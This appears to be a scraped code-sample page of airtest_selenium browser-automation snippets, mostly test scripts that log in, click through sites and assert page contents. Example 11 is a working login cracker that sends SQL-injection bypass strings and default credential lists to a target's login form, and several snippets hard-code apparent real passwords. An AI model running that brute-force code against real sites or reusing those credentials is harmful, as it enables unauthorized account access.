Exemplo n.º 1
0
Arquivo: daka.py Projeto: gsj5533/-
def job1(useid, password):
    #通过python自带的模块判断是不是节假日
    nowTime = datetime.date(datetime.datetime.now().year,
                            datetime.datetime.now().month,
                            datetime.datetime.now().day)
    print(is_workday(nowTime))

    if is_workday(nowTime):
        print('Its weekday')
        driver = WebChrome()
        driver.implicitly_wait(20)
        driver.get(
            "http://sso.portal.unicom.local/eip_sso/aiportalLogin.html?appid=na186&success=http://service.aiportal.unicom.local/ssoclient/ssologin&error=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html&return=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html"
        )
        driver.find_element_by_id('login').send_keys(useid)
        driver.find_element_by_id('password').send_keys(password)
        driver.find_element_by_xpath("//button[@class='login_botton']").click()
        driver.find_element_by_xpath(
            "//div[@class='pan' and @label='人力资源2.0']").click()
        driver.switch_to_new_tab()
        driver.find_element_by_xpath(
            "//a[@class = 'gn_block gn_block1']").click()
        driver.switch_to_new_tab()
        driver.find_element_by_xpath(
            "//button[@class='ant-btn sign-btn signout ant-btn-primary']"
        ).click()
        driver.quit()
    else:
        print('Its holiday')
Exemplo n.º 2
0
class TestWebBaseCase(TestBaseCase):
    """
    web测试初始化
    """
    def setup(self):
        super(TestWebBaseCase, self).setup()
        self.driver = WebChrome()
        self.driver.implicitly_wait(5)
        self.driver.get(BASEURL)
        # 使用cookie打开浏览器
        with shelve.open(f"{mydbs_dir}/cookies") as db:
            # coo = self.driver.get_cookies()
            # db["cookies"] = coo
            cookies = db["cookies"]
        for cookie in cookies:
            if "expiry" in cookie.keys():
                cookie.pop("expiry")
                continue
            self.driver.add_cookie(cookie)
        self.driver.get(BASEURL)
        self.log.info("进入主界面")
        self.main_page = MainPage(self.driver)

    def teardown(self):
        super(TestWebBaseCase, self).teardown()
        self.log.info("关闭浏览器")
        self.driver.quit()
Exemplo n.º 3
0
import unittest

from selenium import webdriver
from airtest_selenium.proxy import WebChrome
from time import sleep

options = webdriver.chrome.options.Options()
options.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
driver = WebChrome(chrome_options=options)
driver.implicitly_wait(20)
driver.get("http://td2.qingbaomofang.com/dashboard/market")
sleep(1)
# 关注列表
driver.find_element_by_xpath(
    "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/div").click()
sleep(1)
driver.find_element_by_xpath(
    "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/ul/li/ul/li/span"
).click()
sleep(5)


class Assert_test(unittest.TestCase):
    # 打开店铺详情
    driver.find_element_by_xpath("//a[@title='perfectdiary旗舰店']").click()
    # 按月
    driver.find_element_by_xpath(
        "/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div[1]/div/div[1]/div[1]/div[3]/div[1]/span"
    ).click()
    sleep(1)
    driver.find_element_by_xpath("/html/body/ul/li[2]").click()
Exemplo n.º 4
0
        sleep(20)
        if exists(Template(r"tpl1572316650111.png", record_pos=(-0.344, -0.186), resolution=(2560, 1440))):
            log('购买成功')
            pass
stop_app(app_id)    
sleep(3)
clear_app(app_id)
################################################################
from airtest.core.api import *
from airtest_selenium.proxy import WebChrome
game_id = '600144'
driver = WebChrome()
driver.implicitly_wait(20)
sleep(3)
driver.maximize_window()
driver.get("http://tech-support.upltv.com:82/index")

driver.find_element_by_xpath("//a[@href='/auth/login']").click()

driver.find_element_by_xpath("//input[@autocomplete='on']").send_keys('*****@*****.**')
driver.find_element_by_xpath("//input[@autocomplete='off']").send_keys('Temp2019')
driver.find_element_by_xpath("//input[@value='登录']").click()
sleep(5)
Logging('准备数据上报------------------------------------------')
driver.find_element_by_xpath("//*[@id=\"bs-example-navbar-collapse-1\"]/ul/li/a/span").click()
driver.find_element_by_xpath("//a[@href='/report/analysis']").click()

driver.find_element_by_xpath("//input[@type='text']").send_keys(game_id)
sleep(3)
driver.find_element_by_xpath("//*[@id=\"contentlist\"]/li/span").click()
sleep(10)
Exemplo n.º 5
0
# -*- encoding=utf8 -*-
__author__ = "janson"
from airtest.core.api import *
# 查看借还款界面
from airtest.core.api import *
using(r"E:\黄振旭\费用管理系统自动化测试用例\conf\common.air")
from common import common
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from airtest_selenium.proxy import WebChrome
driver = WebChrome()
driver.implicitly_wait(20)

driver.get("http://14.21.59.70:1000")
driver.maximize_window()  #放大浏览器
common.login(driver, "huangzhenxu")
driver.assert_exist("//*[@id=\"tags-view-container\"]/div/div/div/span",
                    "xpath", "验证是否登录进入主页.")
driver.find_element_by_xpath(
    "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[3]/li/ul/div/a/li/span"
).click()
driver.assert_template(
    Template(r"tpl1594869543864.png",
             record_pos=(10.415, 1.0),
             resolution=(100, 100)), "进入借还款追踪管理")
driver.close()

auto_setup(__file__)
Exemplo n.º 6
0
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from airtest_selenium.proxy import WebChrome
driver = WebChrome()
driver.implicitly_wait(10)
driver.maximize_window()
driver.get("https://www.yigongla.com/")
driver.find_element_by_xpath("//a[@href='/index/index/index']").click()
driver.find_element_by_xpath("//a[@href='/index/qyserve/qyserve']").click()

driver.assert_exist("/html/body/div[3]/div/h3", "xpath", "我的价值")

driver.find_element_by_xpath("//a[@href='/index/inquiry/inquiry']").click()
driver.find_element_by_xpath("//a[@href='/index/about/about']").click()
driver.find_element_by_xpath("/html/body/div/div[2]/a/button").click()
driver.assert_exist("/html/body/div/div/div/div/div/div", "xpath", "密码登录")
driver.assert_exist("/html/body/div/div/div/div/div/div[2]", "xpath", "验证码登录")
driver.assert_exist("/html/body/div/div/div/div[3]/p", "xpath", "还没有易工账号")
driver.assert_exist("/html/body/div/div/div/div[3]/div/a/span", "xpath", "立即注册")
driver.assert_exist("passwordLogin", "id", "登录")
driver.assert_exist("/html/body/div[2]/p", "xpath", "从蓝领招聘开始解决缺工现象.")

driver.quit()
from selenium import webdriver
from airtest_selenium.proxy import WebChrome
from time import sleep

options = webdriver.chrome.options.Options()
options.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
driver = WebChrome(chrome_options=options)
driver.implicitly_wait(20)
#打开网址
driver.get("http://47.111.14.225:30017/monitorPage/selfMonitor/shop")
sleep(1)
#打开竞品监控
driver.find_element_by_xpath(
    "/html/body/div[2]/div[2]/div/div/div/div/div/div/dl/dd[2]/a").click()
sleep(1)
#查看品牌详情
driver.find_element_by_xpath(
    "/html/body/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/div[3]/table/tbody/tr/td[9]/div/a"
).click()
sleep(1)

#时间选择
driver.find_element_by_xpath("//input[@placeholder='选择周']").click()
sleep(1)
#选择某一周
driver.find_element_by_xpath(
    "/html/body/div[3]/div/div/div[2]/table/tbody/tr[3]/td[3]/div").click()
sleep(1)

#导出
#driver.find_element_by_xpath("/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div[2]/div/button").click()
Exemplo n.º 8
0
# -*- encoding=utf8 -*-
__author__ = "janson"
#上传、搜索、查看、删除发票
from airtest.core.api import *
from airtest.core.api import using
using(r"E:\黄振旭\费用管理系统自动化测试用例\conf\common.air")
from common import common
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from airtest_selenium.proxy import WebChrome

driver = WebChrome()
driver.maximize_window()  #放大浏览器
driver.get("http://14.21.59.70:1000/#/mrp/base/warehouseList")
common.login(driver, "huangzhenxu")

driver.find_element_by_xpath(
    "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div/li/ul/div/a/li/span"
).click()  #进入【上传发票】页面
driver.assert_template(
    Template(r"tpl1594800342361.png",
             record_pos=(7.415, 2.15),
             resolution=(100, 100)), "成功打开发票管理页面")
driver.airtest_touch(
    Template(r"tpl1594800381828.png",
             record_pos=(7.82, 2.985),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1594800422516.png",
             record_pos=(13.66, 4.545),
             resolution=(100, 100)), "打开识别发票接界面")
Exemplo n.º 9
0
# -*- encoding=utf8 -*-
from airtest.core.api import *

__author__ = "zxfn4514"

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from airtest_selenium.proxy import WebChrome
driver = WebChrome()
driver.implicitly_wait(20)

driver.get("https://github.com/AirtestProject")
driver.find_element_by_xpath(
    "//*[@id=\"js-pjax-container\"]/div/header/div/nav/a[2]").click()
driver.find_element_by_xpath("//a[@data-hotkey='g b']").click()
driver.airtest_touch(
    Template(r"tpl1534930299434.png",
             record_pos=(12.015, 2.275),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1534930307633.png",
             record_pos=(8.61, 2.925),
             resolution=(100, 100)), "Please fill in the test point.")
Exemplo n.º 10
0
    for i in ords:
        if int(i['ord'][:3]) == j:
            ordl.append(i['ord'])
            ordl.sort()
    for j in ordl:
        for i in ords:
            if i['ord'] == j:
                testl.append(i)

    testcases.append(testl)

for k in testcases:
    driver = WebChrome()
    driver.implicitly_wait(8)
    #测试执行
    driver.get("https://member.163220.com/#/home")
    driver.maximize_window()

    pid = psutil.Process(
        driver.service.process.pid).children(recursive=True)[0].pid
    #元素绑定方法
    try:
        runtest(driver, pid, k, testcases)

    except:
        raise
    finally:
        driver.close()

# # 导入turtle包的所有内容:
# from turtle import *
Exemplo n.º 11
0
class cracker():
    def __init__(self, target_url):
        self.driver = WebChrome()
        self.driver.get(target_url)
        self.driver.implicitly_wait(20)

        self.exp_user_dic = [
            "admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1",
            "')or('a'='a", "'or 1=1 -- -"
        ]
        self.exp_pass_dic = self.exp_user_dic
        self.static_user_dic = [
            'admin', 'system', 'sa', 'test', 'manager', 'root', 'user', 'www',
            'web', 'username', 'guest', 'name', 'zhanghao', 'yonghu', 'email',
            'account'
        ]
        self.suffix_dic = ['', '123', '888', '666', '123456']
        self.static_pass_dic = [
            '{user}', '123456', '{user}888', '12345678', '123123', '88888888',
            '888888', 'password', '123456a', '{user}123', '{user}123456',
            '{user}666', '{user}2018', '123456789', '654321', '666666',
            '66666666', '1234567890', '8888888', '987654321', '0123456789',
            '12345', '1234567', '000000', '111111', '5201314', '123123',
            'pass', 'password', 'P@ssw0rd', 'P@ssw0rd2019', 'P@ssw0rd2020',
            'P@ssw0rd2021'
        ]

        self.password_inputbox_id = ''
        self.username_inputbox_id = ''

    def find_element_ids(self):
        page_source = self.driver.page_source
        username_flags = ["user", "account", "用户名", "邮箱", "手机", "证号"]
        rex_ele_id = re.compile(r'id="(\S*?)"')
        rex_username_ele = re.compile(r'(<input .*type="text".*?>)')
        rex_password_ele = re.compile(r'(<input .*type="password".*?>)')
        possible_username_eles = rex_username_ele.findall(page_source)
        username_ele = ''
        for possible_username_ele in possible_username_eles:
            if username_ele:
                break
            for username_flag in username_flags:
                if username_flag in possible_username_ele:
                    username_ele = possible_username_ele
                    break

        if not username_ele:
            self.username_inputbox_id = ''
        else:
            self.username_inputbox_id = rex_ele_id.findall(username_ele)[0]
            print("Uername Input Box ID:\t{}".format(
                self.username_inputbox_id))

        password_eles = rex_password_ele.findall(page_source)
        password_ele = password_eles[0] if password_eles else ''
        if not password_ele:
            self.password_input_id = ''
        else:
            self.password_inputbox_id = rex_ele_id.findall(password_ele)[0]
            print("Password Input Box ID:\t{}".format(
                self.password_inputbox_id))

        return True

    def brute_force(self, username, password):
        password = password.replace(
            '{user}', username) if '{user}' in password else password
        print('Trying {0}:{1}'.format(username, password))

        username_ele = self.driver.find_element_by_id(
            self.username_inputbox_id
        ) if self.username_inputbox_id else self.driver.find_element_by_xpath(
            "//input[@type='text']")
        password_ele = self.driver.find_element_by_id(
            self.password_inputbox_id
        ) if self.password_inputbox_id else self.driver.find_element_by_xpath(
            "//input[@type='password']")
        username_ele.clear()
        username_ele.send_keys(username)
        password_ele.send_keys(password)
        password_ele.send_keys(Keys.RETURN)
        sleep(2)
        if self.password_inputbox_id in self.driver.page_source and self.username_inputbox_id in self.driver.page_source:
            print('Login Failed')
            return False
        else:
            print('Login Succeed')
            return True

    def loop(self, users, passwords):
        for user in users:
            for password in passwords:
                try:
                    ret = self.brute_force(user, password)
                    if ret:
                        return True
                except Exception as e:
                    print(e)
                    self.driver.refresh()
                    sleep(1)
        return False

    def run(self, userfile='', passfile=''):
        self.find_element_ids()
        if userfile and passfile:
            users = open(userfile).read().strip('\n').split('\n')
            passwords = open(passfile).read().strip('\n').split('\n')
            if self.loop(users, passwords):
                print("爆破成功")
                input()
        else:
            print("Loading inject users/passwords")
            users = self.exp_user_dic
            passwords = self.exp_pass_dic
            if self.loop(users, passwords):
                print("爆破成功")
                input()

            print("Loding default account pairs")
            users = []
            for suffix in self.suffix_dic:
                for user in self.static_user_dic:
                    users.append(user + suffix)
            passwords = self.static_pass_dic
            if self.loop(users, passwords):
                print("爆破成功")
                input()
Exemplo n.º 12
0
# -*- encoding=utf8 -*-
__author__ = "Administrator"

from airtest.core.api import *
import sys
# pip3 install pynput
# pip3 install airtest-selenium
# 得到绝对路径
abs_path = os.path.abspath(os.path.dirname(__file__))
# 得到公共用例目录
common_path = os.path.join(abs_path.split("airtest_auto")[0], "airtest_auto", "util")
sys.path.append(common_path)
from airtest_selenium.proxy import WebChrome
driver = WebChrome(os.path.join(common_path, "chromedriver.exe"))
driver.implicitly_wait(20)
auto_setup(__file__)
try:
    driver.get("http://www.baidu.com")
except Exception as e:
    snapshot(msg="报错后截图")
    raise e
finally:
    driver.close()
Exemplo n.º 13
0
# -*- encoding=utf8 -*-
__author__ = "Administrator"

from airtest.core.api import *

auto_setup(__file__)
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from airtest_selenium.proxy import WebChrome

driver = WebChrome()
driver.implicitly_wait(20)

driver.get("https://crmhybridapp.autohome.com.cn/webapp/firstPage/chargeIndex")
driver.set_window_size(500, 950)
driver.find_element_by_xpath("//input[@placeholder='请输入OA账号']").click()
driver.find_element_by_xpath("//input[@placeholder='请输入OA账号']").send_keys(
    "wangjian1102")
driver.find_element_by_xpath("//input[@placeholder='请输入OA密码']").click()
driver.find_element_by_xpath("//input[@placeholder='请输入OA密码']").send_keys(
    "Auto5678")
driver.find_element_by_xpath("//*[@id=\"app\"]/div/div[2]/a/div").click()

driver.airtest_touch(
    Template(r"tpl1575735320020.png",
             record_pos=(16.77, 8.99),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1575735408604.png",
             record_pos=(13.075, 1.8),
             resolution=(100, 100)), "汪剑登录成")
Exemplo n.º 14
0
# -*- encoding=utf8 -*-
__author__ = "Administrator"

from airtest.core.api import *

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from airtest_selenium.proxy import WebChrome
from selenium.webdriver.common.action_chains import ActionChains#导入鼠标悬停模块
driver = WebChrome()#打开浏览器
# driver.implicitly_wait(10)


auto_setup(__file__)
driver.get("http://createwit.com/")#进入创智美业官网
time.sleep(2)
driver.maximize_window()#浏览器窗口最大化
tag_element = driver.find_element_by_xpath("//a[@href='product.html']")#定位该元素
ActionChains(driver).move_to_element(tag_element).perform()#鼠标悬停到该元素
driver.find_element_by_link_text("ERP").click()#点击该元素
driver.assert_template(Template(r"tpl1583921002974.png", record_pos=(5.87, 1.895), resolution=(100, 100)), "是否定位至erp")
driver.find_element_by_xpath("//img[@src='images/product/js_1.png']").click()
driver.assert_template(Template(r"tpl1583921034507.png", record_pos=(7.63, 2.285), resolution=(100, 100)), "是否定位至讲师")
js="window.scrollTo(0,document.body.scrollHeight)" 
driver.execute_script(js)#页面滑动至最底部
time.sleep(1)
driver.assert_template(Template(r"tpl1583919799081.png", record_pos=(4.455, 7.99), resolution=(100, 100)), "验证是否滑动至最底部")
driver.find_element_by_xpath("//a[@href='about.html']").click()
driver.assert_template(Template(r"tpl1583918269179.png", record_pos=(3.38, 4.15), resolution=(100, 100)), "是否跳转至关于我们页面")
driver.find_element_by_xpath("//a[@href='download.html']").click()
driver.assert_template(Template(r"tpl1583918305017.png", record_pos=(3.245, 5.25), resolution=(100, 100)), "是否跳转至下载专区页面")